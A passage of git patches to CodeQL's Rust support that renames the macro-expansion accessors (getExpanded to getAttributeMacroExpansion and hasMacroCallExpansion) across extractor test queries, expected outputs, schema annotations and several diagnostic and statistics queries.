getNumberOfAttrs, + "hasBody:", hasBody, "isMut:", isMut, "isStatic:", isStatic, "isUnsafe:", isUnsafe, "hasName:", + hasName, "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql index 2f8c034f4c9a..500484b60b34 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Static x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct.ql b/rust/ql/test/extractor-tests/generated/Struct/Struct.ql index 5e9936dd07fd..4471b94700c9 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct.ql +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Struct x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasFieldList, string hasGenericParamList, string hasName, - string hasVisibility, string hasWhereClause + Struct x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasFieldList, + string hasGenericParamList, string hasName, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,7 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasFieldList() then hasFieldList = "yes" else hasFieldList = "no") and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -23,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasFieldList:", hasFieldList, - "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasFieldList:", hasFieldList, "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, + "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql index cd9b80356c43..7673f2d669eb 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Struct x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait.expected b/rust/ql/test/extractor-tests/generated/Trait/Trait.expected index 33dd170e7664..de921f246b43 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/Trait.expected +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait.expected @@ -1,2 +1,2 @@ -| gen_trait.rs:3:1:8:1 | trait Frobinizable | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | -| gen_trait.rs:10:1:10:57 | trait Foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | yes | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | yes | hasWhereClause: | yes | +| gen_trait.rs:3:1:8:1 | trait Frobinizable | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_trait.rs:10:1:10:57 | trait Foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | yes | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | yes | hasWhereClause: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait.ql b/rust/ql/test/extractor-tests/generated/Trait/Trait.ql index c10c3685fc95..2e8173a21aff 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/Trait.ql +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait.ql @@ -3,10 +3,10 @@ import codeql.rust.elements import TestUtils from - Trait x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - string hasAssocItemList, int getNumberOfAttrs, string hasGenericParamList, string isAuto, - string isUnsafe, string hasName, string hasTypeBoundList, string hasVisibility, - string hasWhereClause + Trait x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, string hasAssocItemList, int getNumberOfAttrs, + string hasGenericParamList, string isAuto, string isUnsafe, string hasName, + string hasTypeBoundList, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -16,7 +16,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAssocItemList() then hasAssocItemList = "yes" else hasAssocItemList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -27,7 +31,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", - getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isAuto:", isAuto, "isUnsafe:", - isUnsafe, "hasName:", hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", - hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAssocItemList:", hasAssocItemList, + "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isAuto:", + isAuto, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasTypeBoundList:", hasTypeBoundList, + "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql index 22425676ccb2..9499d03e9ccc 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Trait x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql index d01a2bf22c7f..319f65e3730e 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - TraitAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasGenericParamList, string hasName, string hasTypeBoundList, - string hasVisibility, string hasWhereClause + TraitAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasGenericParamList, + string hasName, string hasTypeBoundList, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,7 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -23,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", - hasGenericParamList, "hasName:", hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", - hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasTypeBoundList:", + hasTypeBoundList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql index 3a8abe17f826..6a0c43cfc87a 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from TraitAlias x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected index 9168aed43d51..8fbbae07cc3e 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected @@ -1,2 +1,2 @@ -| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasExpanded: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | -| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasExpanded: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql index 51544c36a820..dd8183b6d410 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql @@ -3,9 +3,10 @@ import codeql.rust.elements import TestUtils from - TypeAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasGenericParamList, string isDefault, string hasName, - string hasTypeRepr, string hasTypeBoundList, string hasVisibility, string hasWhereClause + TypeAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasGenericParamList, + string isDefault, string hasName, string hasTypeRepr, string hasTypeBoundList, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,7 +16,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.isDefault() then isDefault = "yes" else isDefault = "no") and @@ -25,7 +30,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", - hasGenericParamList, "isDefault:", isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, - "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", hasVisibility, "hasWhereClause:", - hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "isDefault:", isDefault, "hasName:", hasName, + "hasTypeRepr:", hasTypeRepr, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", + hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql index 2a3857594228..62be0d7b8291 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from TypeAlias x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.ql b/rust/ql/test/extractor-tests/generated/Union/Union.ql index a5eb910d0b3c..81d3ffb3adf9 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union.ql +++ b/rust/ql/test/extractor-tests/generated/Union/Union.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Union x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasGenericParamList, string hasName, string hasStructFieldList, - string hasVisibility, string hasWhereClause + Union x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasGenericParamList, + string hasName, string hasStructFieldList, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,7 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -23,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", - hasGenericParamList, "hasName:", hasName, "hasStructFieldList:", hasStructFieldList, - "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasStructFieldList:", + hasStructFieldList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql index d76e97d362a5..3edc4b71aa39 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Union x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Use/Use.ql b/rust/ql/test/extractor-tests/generated/Use/Use.ql index d88546c73fea..9dbf23d628a4 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use.ql +++ b/rust/ql/test/extractor-tests/generated/Use/Use.ql @@ -3,7 +3,7 @@ import codeql.rust.elements import TestUtils from - Use x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + Use x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasUseTree, string hasVisibility where toBeTested(x) and @@ -14,10 +14,14 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasUseTree() then hasUseTree = "yes" else hasUseTree = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasUseTree:", hasUseTree, - "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasUseTree:", hasUseTree, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql similarity index 76% rename from rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql index 39d2fa9f4f63..1b83be279867 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Use x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/attr_macro_expansion.rs b/rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs similarity index 100% rename from rust/ql/test/extractor-tests/attribute_macro_expansion/attr_macro_expansion.rs rename to rust/ql/test/extractor-tests/macro_expansion/macro_expansion.rs diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/options.yml b/rust/ql/test/extractor-tests/macro_expansion/options.yml similarity index 100% rename from rust/ql/test/extractor-tests/attribute_macro_expansion/options.yml rename to rust/ql/test/extractor-tests/macro_expansion/options.yml diff --git a/rust/ql/test/extractor-tests/macro_expansion/test.expected b/rust/ql/test/extractor-tests/macro_expansion/test.expected new file mode 100644 index 000000000000..26a02ec82527 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/test.expected @@ -0,0 +1,2 @@ +| macro_expansion.rs:1:1:2:11 | fn foo | 0 | macro_expansion.rs:2:4:2:10 | fn foo | +| macro_expansion.rs:1:1:2:11 | fn foo | 1 | macro_expansion.rs:2:4:2:6 | Static | diff --git a/rust/ql/test/extractor-tests/macro_expansion/test.ql b/rust/ql/test/extractor-tests/macro_expansion/test.ql new file mode 100644 index 000000000000..17bc7d47b1d6 --- /dev/null +++ b/rust/ql/test/extractor-tests/macro_expansion/test.ql @@ -0,0 +1,6 @@ +import rust +import TestUtils + +from Item i, MacroItems items, int index, Item expanded +where toBeTested(i) and i.getAttributeMacroExpansion() = items and items.getItem(index) = expanded +select i, index, expanded diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index d6289e795c4f..85eb452c2ee1 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1164,7 +1164,7 @@ class _: """ -@annotate(Item) +@annotate(Item, add_bases=(Addressable,)) class _: """ A Item. For example: @@ -1172,6 +1172,7 @@ class _: todo!() ``` """ + attribute_macro_expansion: optional[MacroItems] | child | rust.detach @annotate(ItemList) @@ -1232,6 +1233,7 @@ class _: todo!() ``` """ + macro_call_expansion: optional[AstNode] | child | rust.detach @annotate(MacroDef) @@ -1258,10 +1260,18 @@ class _: @rust.doc_test_signature(None) class _: """ - A sequence of items generated by a `MacroCall`. For example: + A sequence of items generated by a macro. For example: ```rust mod foo{ include!("common_definitions.rs"); + + #[an_attribute_macro] + fn foo() { + println!("Hello, world!"); + } + + #[derive(Debug)] + struct Bar; } ``` """ @@ -1940,8 +1950,3 @@ class FormatArgument(Locatable): """ parent: Format variable: optional[FormatTemplateVariableAccess] | child - - -@annotate(Item, add_bases=(Addressable,)) -class _: - expanded: optional[AstNode] | child | rust.detach | doc("expanded attribute or procedural macro call of this item") From ecd80fbc348d7564d5bf420de030b0e879bfff48 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 30 Apr 2025 15:25:01 +0200 Subject: [PATCH 018/535] Rust: fix QL compilation errors --- rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql | 2 +- rust/ql/src/queries/summary/Stats.qll | 4 ++-- rust/ql/src/queries/telemetry/DatabaseQuality.qll | 4 ++-- rust/ql/src/queries/unusedentities/UnusedVariable.qll | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql b/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql index a20c5035b6ab..9b04fca82f49 100644 --- a/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql +++ b/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql @@ -8,5 +8,5 @@ import rust from MacroCall mc -where not mc.hasExpanded() +where not mc.hasMacroCallExpansion() select mc, "Macro call was not resolved to a target." diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 87d976b5580e..8ce0126e4fde 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -136,9 +136,9 @@ predicate extractionStats(string key, int value) { or key = "Macro calls - total" and value = count(MacroCall mc) or - key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasExpanded()) + key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasMacroCallExpansion()) or - key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasExpanded()) + key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasMacroCallExpansion()) } /** diff --git a/rust/ql/src/queries/telemetry/DatabaseQuality.qll b/rust/ql/src/queries/telemetry/DatabaseQuality.qll index 8a9898efc404..15826fec4c45 100644 --- a/rust/ql/src/queries/telemetry/DatabaseQuality.qll +++ b/rust/ql/src/queries/telemetry/DatabaseQuality.qll @@ -30,9 +30,9 @@ module CallTargetStats implements StatsSig { } module MacroCallTargetStats implements StatsSig { - int getNumberOfOk() { result = count(MacroCall c | c.hasExpanded()) } + int getNumberOfOk() { result = count(MacroCall c | c.hasMacroCallExpansion()) } - additional predicate isNotOkCall(MacroCall c) { not c.hasExpanded() } + additional predicate isNotOkCall(MacroCall c) { not c.hasMacroCallExpansion() } int getNumberOfNotOk() { result = count(MacroCall c | isNotOkCall(c)) } diff --git a/rust/ql/src/queries/unusedentities/UnusedVariable.qll b/rust/ql/src/queries/unusedentities/UnusedVariable.qll index 2750ca1c42a5..ad75415634c6 100644 --- a/rust/ql/src/queries/unusedentities/UnusedVariable.qll +++ b/rust/ql/src/queries/unusedentities/UnusedVariable.qll @@ -25,7 +25,7 @@ class IncompleteCallable extends Callable { IncompleteCallable() { exists(MacroExpr me | me.getEnclosingCallable() = this and - not me.getMacroCall().hasExpanded() + not me.getMacroCall().hasMacroCallExpansion() ) } } From 2bef3c3604a3dab1b98d0d44deb578df9a1c6b24 Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Wed, 30 Apr 2025 09:44:27 -0400 Subject: [PATCH 